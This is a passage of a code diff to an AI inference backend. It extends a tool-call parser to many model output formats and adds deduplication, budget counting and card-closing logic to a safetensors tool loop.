buffered but + # never parsed as a call, restore the raw text so the prose surfaces + # in full; route-level cleanup still applies the Auto-Heal policy. + if content_accum and any(sig in content_accum for sig in tool_xml_signals): yield {"type": "content", "text": content_accum} + else: + # Turn ended as a plain answer (no [ARGS] followed): the held rehearsal tail is real + # prose, release it. + final_clean = strip_tool_markup_streaming( + cumulative_display, + auto_heal_tool_calls = auto_heal_tool_calls, + tool_protocol_active = tool_protocol_active, + enabled_tool_names = _enabled_names_gate, + ) + if len(final_clean) > len(last_emitted): + yield {"type": "content", "text": final_clean} yield {"type": "status", "text": ""} return tool_calls = safety_tc @@ -435,32 +923,43 @@ def run_safetensors_tool_loop( content_accum, auto_heal_tool_calls = auto_heal_tool_calls, tool_protocol_active = True, + enabled_tool_names = _enabled_names_gate, ) logger.info( "Safetensors safety net: parsed %d tool call(s) from streamed content", len(tool_calls), ) else: - # DRAINING: parse tool calls out of full content. + # DRAINING: parse tool calls out of full content. Gate the bare rehearsal on the + # ORIGINAL tool list (``_enabled_names_gate``), the same names detection/strip used to + # drain here: a spent one-shot (render_html) is off the active list but its re-emitted + # ``render_html[ARGS]{..}`` must still parse so it routes to the repeat no-op instead of + # being dropped into a blank continuation. tool_calls = parse_tool_calls_from_text( content_accum, id_offset = next_call_id, allow_incomplete = auto_heal_tool_calls, + enabled_tool_names = _enabled_names_gate, ) if not tool_calls: # Parser found nothing. Auto-Heal-enabled display cleanup # strips unparseable tool XML; disabled Auto-Heal preserves # the raw text so literal/malformed markup stays visible. if content_accum: - yield { - "type": "content", - "text": _strip_tool_markup_final( - content_accum, - auto_heal_tool_calls = auto_heal_tool_calls, - tool_protocol_active = False, - ), - } - if provisional_render_html_started: + _drain_text = _strip_tool_markup_final( + content_accum, + auto_heal_tool_calls = auto_heal_tool_calls, + tool_protocol_active = False, + enabled_tool_names = _enabled_tool_names, + ) + # Drained bare-JSON call that didn't parse: with Auto-Heal on, drop the fragment + # (plain JSON answers are left untouched); off keeps it visible per the strict contract. + if tool_protocol_active and auto_heal_tool_calls: + _drain_text = strip_leading_bare_json_call(_drain_text, _enabled_tool_names) + if _drain_text: + yield {"type": "content", "text": _drain_text} + if provisional_render_html_started and not provisional_resolved: + provisional_resolved = True yield { "type": "tool_end", "tool_name": "render_html", @@ -474,10 +973,14 @@ def run_safetensors_tool_loop( content_accum, auto_heal_tool_calls = auto_heal_tool_calls, tool_protocol_active = True, + enabled_tool_names = _enabled_names_gate, ) if tool_calls: next_call_id += len(tool_calls) + # Strip a leading bare-JSON call from the kept content so it isn't replayed as text or + # next-turn history (``_strip_tool_markup_final`` only knows XML). No-op for plain JSON answers. + content_text = strip_leading_bare_json_call(content_text, _enabled_tool_names) if final_attempt_done: # Final-answer turn re-called a tool -- stop the loop. @@ -486,6 +989,27 @@ def run_safetensors_tool_loop( yield {"type": "status", "text": ""} return + # Collapse exact-duplicate calls and cap the count (runaway-turn guard). + if tool_calls: + seen_keys: set = set() + deduped: list = [] + for _tc in tool_calls: + _fn = _tc.get("function", {}) or {} + _key = (_fn.get("name", ""), str(_fn.get("arguments", ""))) + if _key in seen_keys: + continue + seen_keys.add(_key) + deduped.append(_tc) + if len(deduped) >= _MAX_TOOL_CALLS_PER_TURN: + break + if len(deduped) != len(tool_calls): + logger.info( + "Safetensors: collapsed %d repeated tool call(s) in one turn to %d", + len(tool_calls), + len(deduped), + ) + tool_calls = deduped + assistant_msg: dict = {"role": "assistant", "content": content_text} assistant_appended = False @@ -503,6 +1027,18 @@ def run_safetensors_tool_loop( if content_text and not assistant_appended: conversation.append(assistant_msg) assistant_appended = True + if provisional_match and not provisional_resolved: + # A provisional render_html card is already on screen for + # this id; close it so it never dangles when the controller + # turns the call into an internal no-op (duplicate / repeat). + provisional_resolved = True + yield { + "type": "tool_end", + "tool_name": decision.tool_name, + "tool_call_id": decision.tool_call_id, + "result": "", + "provenance": decision.provenance, + } completion = tool_controller.record_noop(decision) conversation.append(completion.model_message()) logger.info( @@ -541,6 +1077,8 @@ def run_safetensors_tool_loop( == "deny" ): decision_slot = None + if provisional_match: + provisional_resolved = True yield { "type": "tool_end", "tool_name": decision.tool_name, @@ -548,6 +1086,7 @@ def run_safetensors_tool_loop( "result": TOOL_REJECTED_MESSAGE, "provenance": decision.provenance, } + tool_denied = True denied_message = { "role": "tool", "name": decision.tool_name, @@ -587,6 +1126,10 @@ def run_safetensors_tool_loop( kb_search_count += 1 completion = tool_controller.record_result(decision, result) + if provisional_match: + provisional_resolved = True + # A tool ran this turn, so it counts against the caller's budget. + _turn_executed_real_tool = True yield completion.tool_end_event() conversation.append(completion.tool_message()) @@ -599,7 +1142,11 @@ def run_safetensors_tool_loop( if not unrestricted_tools and not tool_controller.active_tools(): final_attempt_done = True continue - if iteration + 1 >= max_tool_iterations and not final_attempt_done: + # Count only turns that executed a tool against the cap; a no-op correction turn doesn't + # consume budget so the model gets its nudge and another tool-enabled turn (GGUF parity). + if _turn_executed_real_tool: + _executed_tool_iters += 1 + if _executed_tool_iters >= max_tool_iterations and not final_attempt_done: # Budget exhausted; nudge a final plain answer. final_attempt_done = True conversation.append({"role": "user", "content": BUDGET_EXHAUSTED_NUDGE}) diff --git a/studio/backend/core/inference/tool_call_parser.py b/studio/backend/core/inference/tool_call_parser.py index 8d5d45269e..1ab1142eba 100644 --- a/studio/backend/core/inference/tool_call_parser.py +++ b/studio/backend/core/inference/tool_call_parser.py @@ -2,33 +2,123 @@ # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 """ -Backend-neutral tool-call XML parser shared by GGUF and safetensors. -Tolerates missing closing tags in either ``{json}`` -or ``v...`` shape. +Backend-neutral tool-call parser shared by GGUF, safetensors, and MLX, so the +safetensors + MLX agentic loop sees the same call shape llama-server gives GGUF: + + - ``{json}`` (Qwen / Hermes) + - ``v`` (Qwen3.5 xml) + - ``<|python_tag|>NAME.call(k="v", ...)`` (Llama-3 built-in tools) + - ``<|python_tag|>{"name":..., "parameters":...}`` (Llama-3 custom) + - ``{"name":..., "parameters":...}`` (Llama-3.2 bare JSON) + - ``[TOOL_CALLS] [{...}, ...]`` (Mistral v0.3 / Nemo / Small) + - ``[TOOL_CALLS]name{json}`` (Mistral v11+ / Magistral) + - ``[TOOL_CALLS]name[ARGS]{json}`` (Ministral / Mistral Large 3) + - ``<|tool_call>call:NAME{k:<|"|>v<|"|>}`` (Gemma 4) + - ``<｜tool▁calls▁begin｜>...function<｜tool▁sep｜>NAME\\n``\\`\\`\\`json\\n{...}\\n\\`\\`\\`...`` (DeepSeek R1) + - ``<｜tool▁calls▁begin｜>...<｜tool▁call▁begin｜>NAME<｜tool▁sep｜>{json}<｜tool▁call▁end｜>...`` (DeepSeek V3 / V3.1) + - ``NAME\\nk\\nv...`` (GLM 4.5 / 4.6 / 4.7) + - ``<|tool_calls_section_begin|>...<|tool_call_begin|>functions.NAME:IDX<|tool_call_argument_begin|>{json}<|tool_call_end|>...`` (Kimi K2) + +Missing closing tags / brackets are tolerated: models often truncate mid-stream. """ +# Lazy annotations keep the standalone python 3.9 import working. +from __future__ import annotations + import json import re +from typing import Any, Optional + +# Qwen/Hermes, Qwen3.5 XML and Gemma 4 live in core.tool_healing; this module adds the rest. +from core import tool_healing as _tool_healing -# _TOOL_CLOSED_PATS: closed pairs only. _TOOL_ALL_PATS: also trailing unclosed -# runs so truncated tails don't leak markup. The [\w-] name set matches OpenAI's -# so hyphenated MCP tool names (mcp__srv__list-issues) parse like built-ins. +# Flip the streaming buffer STREAMING->DRAINING so partial markup never leaks. +TOOL_XML_SIGNALS = ( + "", + "", + "[TOOL_CALLS]", + "<|tool_call>", + # Bare reasoning-rehearsal marker (``name[ARGS]{...}``, no leading [TOOL_CALLS]); + # keeps a rehearsed call held in the stream so it is promoted, not leaked as prose. + "[ARGS]", + # DeepSeek R1 / V3 / V3.1 -- 5 opener variants llama.cpp keeps. + "<｜tool▁calls▁begin｜>", + "<｜tool▁call▁begin｜>", + "<｜tool_calls_begin｜>", + "<｜tool▁calls｜>", + "<｜tool calls begin｜>", + "<｜tool\\_calls\\_begin｜>", + # Kimi K2 / Moonshot. + "<|tool_calls_section_begin|>", + "<|tool_call_begin|>", +) + + +# DeepSeek opener variants; shared by parse and strip so a parsed signal is always stripped. +_DEEPSEEK_OPEN_ALT = ( + r"tool▁calls▁begin|tool_calls_begin|tool calls begin|tool\\_calls\\_begin|tool▁calls" +) +_DEEPSEEK_OPEN_RE_SRC = r"<｜(?:" + _DEEPSEEK_OPEN_ALT + r")｜>" + +# Closed pairs only (mid-stream); _TOOL_ALL_PATS also eats unclosed tails at +# end-of-turn. ``[\w-]+`` on ```` tracks OpenAI's +# ``^[a-zA-Z0-9_-]{1,64}$`` so hyphenated MCP names parse like built-ins. _TOOL_CLOSED_PATS = [ re.compile(r".*?", re.DOTALL), - re.compile(r".*?", re.DOTALL), + # Span to the real ```` so a literal one inside a value can't truncate the strip. + re.compile( + r'' + r'(?:(?!).)*' + r"", + re.DOTALL, + ), + re.compile(r"<\|tool_call>.*?", re.DOTALL), + re.compile(r"\[TOOL_CALLS\]\s*\[.*?\](?:\s*)?", re.DOTALL), + # Mistral v11+ ``[TOOL_CALLS]name{json}`` (may chain), close at ``}``. + re.compile(r"\[TOOL_CALLS\]\s*[\w\.\-]+\s*(?:\[ARGS\])?\s*\{.*?\}", re.DOTALL), + # DeepSeek R1 / V3 / V3.1: full envelope (any opener variant) ... end. + re.compile(_DEEPSEEK_OPEN_RE_SRC + r".*?<｜tool▁calls▁end｜>", re.DOTALL), + # Kimi K2: ``<|tool_calls_section_begin|>...<|tool_calls_section_end|>``. + re.compile(r"<\|tool_calls_section_begin\|>.*?<\|tool_calls_section_end\|>", re.DOTALL), + # Kimi K2 section-less closed call; else the catch-all below eats trailing prose to EOS. + re.compile(r"<\|tool_call_begin\|>.*?<\|tool_call_end\|>", re.DOTALL), ] _TOOL_ALL_PATS = _TOOL_CLOSED_PATS + [ re.compile(r".*$", re.DOTALL), - re.compile(r".*$", re.DOTALL), + re.compile(r'.*$', re.DOTALL), + # Bare-word markers drop a trailing truncated call only when a call-shaped start + # follows; a prose mention (``See [TOOL_CALLS] docs...``) keeps its tail. Bare marker at EOF drops. + re.compile(r"<\|tool_call>(?=\s*call\s*:|\s*$).*$", re.DOTALL), + re.compile( + r"\[TOOL_CALLS\](?=\s*(?:[\[{]|[A-Za-z_][\w.\-]*(?:[\[{]|\s*$))|\s*$).*$", + re.DOTALL, + ), + re.compile( + r"<\|python_tag\|>(?=\s*(?:\{|[A-Za-z_][\w.]*\()|\s*$).*$", + re.DOTALL, + ), + # DeepSeek envelopes truncated mid-stream (any opener); same call-shaped lookahead as above. + re.compile( + _DEEPSEEK_OPEN_RE_SRC + r"(?=\s*(?:<｜tool▁call▁begin｜>|function)|\s*$).*$", + re.DOTALL, + ), + re.compile(r"<｜tool▁call▁begin｜>(?=\s*function|\s*$).*$", re.DOTALL), + # Kimi K2 envelope truncated. + re.compile( + r"<\|tool_calls_section_begin\|>(?=\s*<\|tool_call_begin\|>|\s*$).*$", + re.DOTALL, + ), + re.compile( + r"<\|tool_call_begin\|>(?=\s*[A-Za-z_][\w.\-]*:\d|\s*$).*$", + re.DOTALL, + ), + # Gemma wrapper-less ``call:NAME{...}`` is handled by ``_strip_gemma_wrapperless_calls`` (enabled-name gate). ] -# Prefixes the streaming buffer watches for to gate in-progress text. -TOOL_XML_SIGNALS = ("", " bool: + stripped = text.strip() + return 0 < len(stripped) < REPROMPT_MAX_CHARS and INTENT_SIGNAL.search(stripped) is not None + + +def reprompt_to_act_message(tool_hint: str) -> str: + """The user message appended when re-prompting a plan-without-action turn.""" + return ( + "You have access to enabled tools. If a tool is needed to satisfy " + "the user's request or complete the action you described, call " + f"{tool_hint} now. If no tool is needed, provide the final answer " + "and follow the user's requested format." + ) + + +# Qwen / Hermes ``{json}``. _TC_JSON_START_RE = re.compile(r"\s*\{") -_TC_FUNC_START_RE = re.compile(r"\s*") -_TC_END_TAG_RE = re.compile(r"") +# Qwen3.5 ```` and the attribute form ```` +# (MiniCPM-5, MiniMax-M2); name class ``[\w.\-]+`` lands in group(1) or group(2). +_TC_FUNC_START_RE = re.compile(r'\s*') +# Body ends at ```` (Hermes) or ```` (Qwen3.5 / MiniCPM-5) +# so it stops at the close even when prose follows (else prose leaked into args). +_TC_END_TAG_RE = re.compile(r"") _TC_FUNC_CLOSE_RE = re.compile(r"\s*\s*$") -# [\w-] so hyphenated MCP param names (issue-number) aren't dropped. -_TC_PARAM_START_RE = re.compile(r"\s*") -_TC_PARAM_CLOSE_RE = re.compile(r"\s*\s*$") -_PARAM_CLOSE_TAG = "" -_FUNC_CLOSE_TAG = "" +# Horizontal whitespace only (``[^\S\n]*``, not ``\s*``) so the wrapping newline + +# first-line indentation survive; ``_trim_param_value`` trims one newline, preserving +# code indentation (SGLang qwen3_coder). +_TC_PARAM_START_RE = re.compile( + r'<(?:parameter|param)(?:=([\w\.\-]+)|\s+name="([\w\.\-]+)")>[^\S\n]*' +) +_TC_PARAM_CLOSE_RE = re.compile(r"\s*\s*$") + +# Llama-3 ``<|python_tag|>NAME.call(...)``. +_LLAMA3_PYTHON_TAG = "<|python_tag|>" +_LLAMA3_PY_CALL_RE = re.compile( + r"<\|python_tag\|>\s*([\w\.\-]+)\s*\.\s*call\s*\(", +) +# Anchored at a fixed offset (char after ``<|python_tag|>``) plus the ``; NAME.call(`` +# chain separator; fixed-offset (not a free scan) ignores ``.call(`` inside JSON args. +_LLAMA3_PY_CALL_HEAD_RE = re.compile(r"\s*([\w\.\-]+)\s*\.\s*call\s*\(") +_LLAMA3_CALL_CHAIN_RE = re.compile(r"\s*;\s*([\w\.\-]+)\s*\.\s*call\s*\(") +# Llama-3 ``.call(k=v)`` kwarg tokens, hand-scanned below (not finditer) to stay +# linear on a truncated body; finditer retries every offset of a long run (ReDoS). +_LLAMA3_KEY_RE = re.compile(r"\w+") +_LLAMA3_WS_RE = re.compile(r"\s*") +# ints, decimals (1.5, 1., .5) and sci notation; trailing ``(?![\w.])`` stops a token +# like ``1.2.3`` being truncated to ``1.2`` (which would mis-parse the remainder). +_LLAMA3_NUM_RE = re.compile(r"-?(?:\d+(?:\.\d*)?|\.\d+)(?:[eE][+-]?\d+)?(?![\w.])") +_LLAMA3_LIT_RE = re.compile(r"true|false|null") + +# Mistral ``[TOOL_CALLS]`` trigger. v11+ chains them, each followed by a bare name +# plus ``{json}`` (Magistral) or ``[ARGS]{json}`` (Ministral / Large 3). +_MISTRAL_TRIGGER = "[TOOL_CALLS]" +_MISTRAL_ARGS_MARKER = "[ARGS]" +# Mistral Small 3.2 emits ``name[CALL_ID][ARGS]{json}`` (absent on Ministral / +# Magistral); llama.cpp distinguishes the two on ``[CALL_ID]`` (common/chat.cpp). +_MISTRAL_CALL_ID_MARKER = "[CALL_ID]" +# Magistral wraps reasoning in ``[THINK]...[/THINK]``; a ``[TOOL_CALLS]`` inside +# that block is chain-of-thought, not a real call. +_MISTRAL_THINK_OPEN = "[THINK]" +_MISTRAL_THINK_CLOSE = "[/THINK]" +_MISTRAL_V11_NAME_RE = re.compile(r"\s*([\w\.\-]+)\s*") + +# DeepSeek markers (full-width pipe U+FF5C, block U+2581); five outer-open variants like llama.cpp. +_DEEPSEEK_BEGIN_RE = re.compile(_DEEPSEEK_OPEN_RE_SRC) +_DEEPSEEK_END = "<｜tool▁calls▁end｜>" +_DEEPSEEK_CALL_BEGIN = "<｜tool▁call▁begin｜>" +_DEEPSEEK_SEP = "<｜tool▁sep｜>" +_DEEPSEEK_CALL_END = "<｜tool▁call▁end｜>" +# R1 wraps args in a ```json fence with a ``function`` prefix; V3/V3.1 do not. +# Scanned with ``str.find`` -- the regex forms are O(N^2) on truncated bodies. +_DEEPSEEK_R1_FUNC_MARKER = "function" + _DEEPSEEK_SEP +_DEEPSEEK_R1_FENCE = "\n```json\n" +_DEEPSEEK_R1_CLOSE_RE = re.compile(r"```[\s\r\n]*" + re.escape(_DEEPSEEK_CALL_END)) + +# GLM 4.5-4.7: ``NAME[\n]K...``; the lookahead also allows a +# direct ````/```` (4.7 drops the newline, zero-arg calls close at once). +# Name class ``[\w.\-]+`` keeps prose like ``not a call`` unparsed; +# ``{`` stays with the Qwen JSON parser. +_GLM_TC_OPEN_RE = re.compile(r"\s*([\w.\-]+)\s*(?=\n||)") +_GLM_TC_CLOSE = "" +_GLM_ARG_KEY_OPEN = "" +_GLM_ARG_KEY_CLOSE = "" +_GLM_ARG_VAL_OPEN = "" +_GLM_ARG_VAL_CLOSE = "" +# Strings arrive raw, non-strings via tojson; only unambiguous JSON literals decode +# (bare ``42``/``true``/``null`` stay strings). +_GLM_JSON_NUMERIC_RE = re.compile(r"-?\d+(?:\.\d+)?(?:[eE][+-]?\d+)?") + +# Kimi K2 / Moonshot (ASCII pipes). Id ``functions.NAME:IDX`` -- strip ``functions.``/``:N`` for the name. +_KIMI_SECTION_BEGIN = "<|tool_calls_section_begin|>" +_KIMI_SECTION_END = "<|tool_calls_section_end|>" +_KIMI_CALL_BEGIN = "<|tool_call_begin|>" +_KIMI_ARG_BEGIN = "<|tool_call_argument_begin|>" +_KIMI_CALL_END = "<|tool_call_end|>" +_KIMI_ID_RE = re.compile(r"^(?:functions\.)?([\w\.\-]+)(?::(\d+))?$") + +# Gemma 4: ``<|tool_call>call:NAME{...}``, ``<|"|>`` wraps strings. +_GEMMA_TC_RE = re.compile(r"<\|tool_call>\s*call\s*:\s*([\w\.\-]+)\s*\{") +_GEMMA_STR_BEGIN = '<|"|>' +_GEMMA_STR_END = '<|"|>' +_GEMMA_TC_END = "" + +# skip_special_tokens strips the wrapper and ``<|"|>`` markers, so streamed Gemma calls +# arrive as bare ``call:NAME{k:v, ...}``; ``(? bool: - """Return True when ``pos`` falls inside an unclosed parameter value.""" - last_param_start = -1 - for match in _TC_PARAM_START_RE.finditer(content, 0, pos): - last_param_start = match.start() - if last_param_start < 0: - return False - last_param_close = content.rfind(_PARAM_CLOSE_TAG, 0, pos) - last_func_close = content.rfind(_FUNC_CLOSE_TAG, 0, pos) - return last_param_start > max(last_param_close, last_func_close) +def _balanced_bracket_end(text: str, start: int) -> int | None: + """Index of the ``]`` matching ``[`` at ``text[start]`` (ignores brackets in JSON strings).""" + if start >= len(text) or text[start] != "[": + return None + depth = 0 + in_string = False + esc = False + i = start + while i < len(text): + ch = text[i] + if in_string: + if esc: + esc = False + elif ch == "\\": + esc = True + elif ch == '"': + in_string = False + else: + if ch == '"': + in_string = True + elif ch == "[": + depth += 1 + elif ch == "]": + depth -= 1 + if depth == 0: + return i + i += 1 + return None -def strip_tool_markup(text: str, *, final: bool = False) -> str: - """Strip tool-call XML from streamed text. +def _skip_mistral_call_id(text: str, pos: int) -> int: + """Skip an optional ``[CALL_ID]`` (Mistral Small 3.2); return the next token pos.""" + n = len(text) + i = pos + while i < n and text[i] in " \t\n\r": + i += 1 + if not text.startswith(_MISTRAL_CALL_ID_MARKER, i): + return pos + i += len(_MISTRAL_CALL_ID_MARKER) + while i < n and text[i] in " \t\n\r": + i += 1 + # The id is a short opaque token; stop at whitespace or the next marker. + while i < n and text[i] not in " \t\n\r[{": + i += 1 + while i < n and text[i] in " \t\n\r": + i += 1 + return i - ``final=False`` only removes closed pairs (used during streaming so - in-progress XML stays buffered). ``final=True`` also removes a - trailing unclosed run and trims the result. + +def _strip_mistral_reasoning(content: str) -> str: + """Drop a leading Magistral ``[THINK]...[/THINK]`` so a ``[TOOL_CALLS]`` inside + reasoning is not taken as a real call; an unclosed ``[THINK]`` drops from it on.""" + i = 0 + n = len(content) + while i < n and content[i] in " \t\n\r": + i += 1 + if not content.startswith(_MISTRAL_THINK_OPEN, i): + return content + close = content.find(_MISTRAL_THINK_CLOSE, i + len(_MISTRAL_THINK_OPEN)) + if close == -1: + return content[:i] + return content[:i] + content[close + len(_MISTRAL_THINK_CLOSE) :] + + +def _strip_mistral_closed_calls(text: str) -> str: + """Strip cleanly-closed ``[TOOL_CALLS]`` blocks (array, ``name{json}``, + ``name[ARGS]{json}``) via balanced scanning -- a non-greedy ``\\{.*?\\}`` would + truncate at the first ``}`` and lose nested JSON. Unclosed runs are left for + ``final=True`` cleanup.""" + n = len(text) + out = [] + cursor = 0 + while cursor < n: + idx = text.find(_MISTRAL_TRIGGER, cursor) + if idx == -1: + out.append(text[cursor:]) + break + out.append(text[cursor:idx]) + body_start = idx + len(_MISTRAL_TRIGGER) + i = body_start + while i < n and text[i] in " \t\n\r": + i += 1 + # Array shape: ``[TOOL_CALLS] [...]``. + if i < n and text[i] == "[": + end = _balanced_bracket_end(text, i) + if end is None: + # Truncated; let caller buffer / final-strip. + out.append(text[idx:]) + break + cursor = end + 1 + if text.startswith("", cursor): + cursor += len("") + continue + # Single-object shape ``[TOOL_CALLS] { json }`` (no name/array): the parser + # accepts it, so the display strip must remove it too (else it leaks). + if i < n and text[i] == "{": + end = _balanced_brace_end(text, i) + if end is None: + out.append(text[idx:]) + break + cursor = end + 1 + if text.startswith("", cursor): + cursor += len("") + continue + # Named shape: ``[TOOL_CALLS] name [ARGS]? { json }``. + name_match = _MISTRAL_V11_NAME_RE.match(text, i) + if not name_match: + out.append(text[idx:body_start]) + cursor = body_start + continue + i = name_match.end() + while i < n and text[i] in " \t\n\r": + i += 1 + i = _skip_mistral_call_id(text, i) + if text.startswith(_MISTRAL_ARGS_MARKER, i): + i += len(_MISTRAL_ARGS_MARKER) + while i < n and text[i] in " \t\n\r": + i += 1 + if i >= n or text[i] != "{": + out.append(text[idx:i]) + cursor = i + continue + end = _balanced_brace_end(text, i) + if end is None: + out.append(text[idx:]) + break + cursor = end + 1 + # Consume the optional EOS marker too, mirroring the array shape, so a + # ``[TOOL_CALLS]name{json}`` tail doesn't leave ```` as content. + if text.startswith("", cursor): + cursor += len("") + return "".join(out) + + +def _strip_gemma_wrapperless_calls(text: str, enabled_tool_names: Optional[set] = None) -> str: + """Strip closed wrapper-less Gemma ``call:NAME{...}`` calls with balanced brace + scanning (nested arguments are removed whole). ``enabled_tool_names`` gates the + strip like the parser gate: a disabled/example name stays visible; ``None`` + strips every closed call.""" + if _whole_content_is_json_value(text): + return text + n = len(text) + out = [] + # Mirror the parse scan: a leading JSON answer's span is data, kept visible. + cursor = _leading_json_value_end(text) or 0 + if cursor: + out.append(text[:cursor]) + while cursor < n: + m = _GEMMA_BARE_TC_RE.search(text, cursor) + if not m: + out.append(text[cursor:]) + break + disabled = enabled_tool_names is not None and m.group(1) not in enabled_tool_names + brace = m.end() - 1 # _GEMMA_BARE_TC_RE consumes through the opening ``{`` + # Same boundary scanner as the parser: strip exactly what it consumed. + end = _gemma_body_brace_end(text, brace) + closed = end is not None + next_index = (end + 1) if closed else len(text) + if not closed: + # Unclosed call: drop an enabled call to EOS; keep a disabled/example name as prose. + out.append(text[cursor:] if disabled else text[cursor : m.start()]) + break + if disabled: + # Disabled/example name is prose: keep it whole. + out.append(text[cursor:next_index]) + else: + out.append(text[cursor : m.start()]) + cursor = next_index # already past the matching ``}`` + return "".join(out) + + +_FUNC_CLOSE_TAG_RE = re.compile(r"") + + +def _strip_function_xml_calls(text: str, *, final: bool) -> str: + """Strip ```` calls by mirroring the parser: an opener inside an open ```` is data and each call closes at its first ```` that is not parameter data; ``final`` drops a trailing unclosed call.""" + starts = [ + m for m in _TC_FUNC_START_RE.finditer(text) if not _inside_open_parameter(text, m.start()) + ] + if not starts: + return text + out: list[str] = [] + pos = 0 + for idx, m in enumerate(starts): + if m.start() < pos: + continue # opener already inside a previously consumed call span + out.append(text[pos : m.start()]) + next_start = starts[idx + 1].start() if idx + 1 < len(starts) else len(text) + close = None + for cm in _FUNC_CLOSE_TAG_RE.finditer(text, m.end(), next_start): + if not _inside_open_parameter(text, cm.start()): + close = cm # first close that is not parameter data = the real close + break + if close is not None: + pos = close.end() + elif final: + pos = len(text) # trailing unclosed call -- drop to EOF + else: + out.append(text[m.start() :]) # keep the unclosed call buffered mid-stream + pos = len(text) + break + out.append(text[pos:]) + return "".join(out) + + +def _glm_value_close( + text: str, + vs: int, + *, + strict: bool = False, +) -> int: + """Index of the ```` that really ends the GLM value at ``vs``: the + first one whose next non-space token is ````, ```` or + end-of-text AND that sits at balanced quote state (an embedded literal pair + like ``print("")`` lives inside a still-open string). + Quote openers are contextual (single quote only after punctuation, so + apostrophes are prose; double quote also at word start), mirroring the Gemma + scanners. If no candidate balances, the first token-valid one wins -- except + in ``strict`` mode (Auto-Heal off), which refuses the in-quote fallback rather + than execute truncated arguments. Returns -1 if unclosed.""" + n = len(text) + search = vs + first_candidate = -1 + quote = "" + prev = ":" + prev_raw = ":" + qpos = vs # quote-state cursor; advanced incrementally to each candidate + while True: + ve = text.find(_GLM_ARG_VAL_CLOSE, search) + if ve < 0: + return -1 if strict else first_candidate + j = ve + len(_GLM_ARG_VAL_CLOSE) + while j < n and text[j] in " \t\r\n": + j += 1 + if j >= n or text.startswith(_GLM_ARG_KEY_OPEN, j) or text.startswith(_GLM_TC_CLOSE, j): + while qpos < ve: + ch = text[qpos] + if quote: + if ch == "\\" and qpos + 1 < ve: + qpos += 2 + continue + if ch == quote: + quote = "" + elif ch in "\"'" and (prev in ":{[(,=" or (ch == '"' and prev_raw.isspace())): + quote = ch + if not ch.isspace(): + prev = ch + prev_raw = ch + qpos += 1 + if not quote: + return ve + if first_candidate < 0: + first_candidate = ve + search = ve + len(_GLM_ARG_VAL_CLOSE) + + +def _strip_glm_calls(text: str, *, final: bool) -> str: + """Strip GLM 4.x calls by scanning to each call's REAL ```` (the one + after the last consumed ````, mirroring ``_parse_glm_tool_calls``), so + a literal ```` inside a value is data. Qwen ``{json}`` has + no NAME token and is left to the regex arms. ``final`` drops a truncated call to + EOS; otherwise it stays buffered.""" + out: list[str] = [] + cursor = 0 + n = len(text) + while True: + m = _GLM_TC_OPEN_RE.search(text, cursor) + if not m: + break + apos = m.end() + close = -1 + while True: + ks = text.find(_GLM_ARG_KEY_OPEN, apos) + tc = text.find(_GLM_TC_CLOSE, apos) + if tc >= 0 and (ks < 0 or tc < ks): + close = tc + break + if ks < 0: + break # no close and no more keys -- truncated body + ke = text.find(_GLM_ARG_KEY_CLOSE, ks + len(_GLM_ARG_KEY_OPEN)) + if ke < 0: + break + vstart = ke + len(_GLM_ARG_KEY_CLOSE) + while vstart < n and text[vstart] in " \t\r\n": + vstart += 1 + if not text.startswith(_GLM_ARG_VAL_OPEN, vstart): + apos = ke + len(_GLM_ARG_KEY_CLOSE) + continue + vs = vstart + len(_GLM_ARG_VAL_OPEN) + ve = _glm_value_close(text, vs) + if ve < 0: + break # unclosed -- truncated + apos = ve + len(_GLM_ARG_VAL_CLOSE) + if close >= 0: + out.append(text[cursor : m.start()]) + cursor = close + len(_GLM_TC_CLOSE) + continue + # Truncated GLM call (no real close yet). + if final: + out.append(text[cursor : m.start()]) + cursor = n + # Non-final: leave the unclosed call (and any tail) buffered as-is. + break + out.append(text[cursor:]) + return "".join(out) + + +def strip_tool_markup( + text: str, + *, + final: bool = False, + enabled_tool_names: Optional[set] = None, +) -> str: + """Strip tool-call markup. ``final=False`` keeps in-progress markup buffered; + ``final=True`` also drops trailing unclosed runs and trims. + + ``enabled_tool_names`` gates the name-conditioned forms so a disabled/example name in + prose is kept (mirrors the parser gate): the bare reasoning-rehearsal ``name[ARGS]{...}`` + and the markerless Gemma ``call:NAME{...}`` strip. ``None`` strips every closed call. """ - pats = _TOOL_ALL_PATS if final else _TOOL_CLOSED_PATS - for pat in pats: - text = pat.sub("", text) - return text.strip() if final else text + if final: + # Drop a leading Magistral ``[THINK]...[/THINK]`` at end-of-turn; its bracket + # form is not the ```` the reasoning channel renders. + text = _strip_mistral_reasoning(text) + + def _strip_segment(segment: str, is_last: bool) -> str: + seg_final = final and is_last + seg = _strip_mistral_closed_calls(segment) + # Bare reasoning-rehearsal ``name[ARGS]{json}`` and the Mistral name form promote through + # the shared balanced scan, so strip them the same way (any nesting depth removed whole). + # The rehearsal arm is name-gated: an inactive ``foo[ARGS]{..}`` is prose and is kept. + seg = _tool_healing._strip_bracket_tag_calls(seg, enabled_tool_names = enabled_tool_names) + if seg_final: + # Markerless Gemma ``call:NAME{...}`` (name-gated, mirrors the parse gate); end-of-turn only. + seg = _strip_gemma_wrapperless_calls(seg, enabled_tool_names) + # Scan-strip the function-XML form (parser-accurate: a literal ```` in a + # value is data, not a call); the regex arms below cover the other formats. + seg = _strip_function_xml_calls(seg, final = seg_final) + # GLM 4.x: scan to the call's real so a literal one inside a value is data, + # not a leak. Qwen {json} is left to the regex arms. + seg = _strip_glm_calls(seg, final = seg_final) + pats = _TOOL_ALL_PATS if seg_final else _TOOL_CLOSED_PATS + for pat in pats: + seg = pat.sub("", seg) + if seg_final: + # Drop a trailing partial bare rehearsal (``name[ARGS]`` with a truncated or absent + # body) the balanced scan cannot close; gated so prose ``foo[ARGS] ...`` survives. + seg = _tool_healing.apply_tool_strip_patterns( + seg, + [_tool_healing._REHEARSAL_TAIL_STRIP_RE], + enabled_tool_names = enabled_tool_names, + ) + return seg + + # ```` / ``[THINK]`` reasoning is preserved verbatim (a rehearsed call inside it is + # not executed, so it must not be stripped from display either); a literal think marker + # inside a real call's arguments is that call's data and is stripped with the call. + result = _tool_healing.strip_outside_think(text, _strip_segment) + return result.strip() if final else result + + +def has_tool_signal(text: str) -> bool: + return any(s in text for s in TOOL_XML_SIGNALS) + + +# A Qwen/Hermes ````/```` envelope whose arguments carry literal +# DeepSeek/Kimi markers must parse as the OUTER call. Detect it opening before the first +# marker so the pre-pass skips it. +_EMBEDDED_MARKER_RE = re.compile( + _DEEPSEEK_OPEN_RE_SRC + 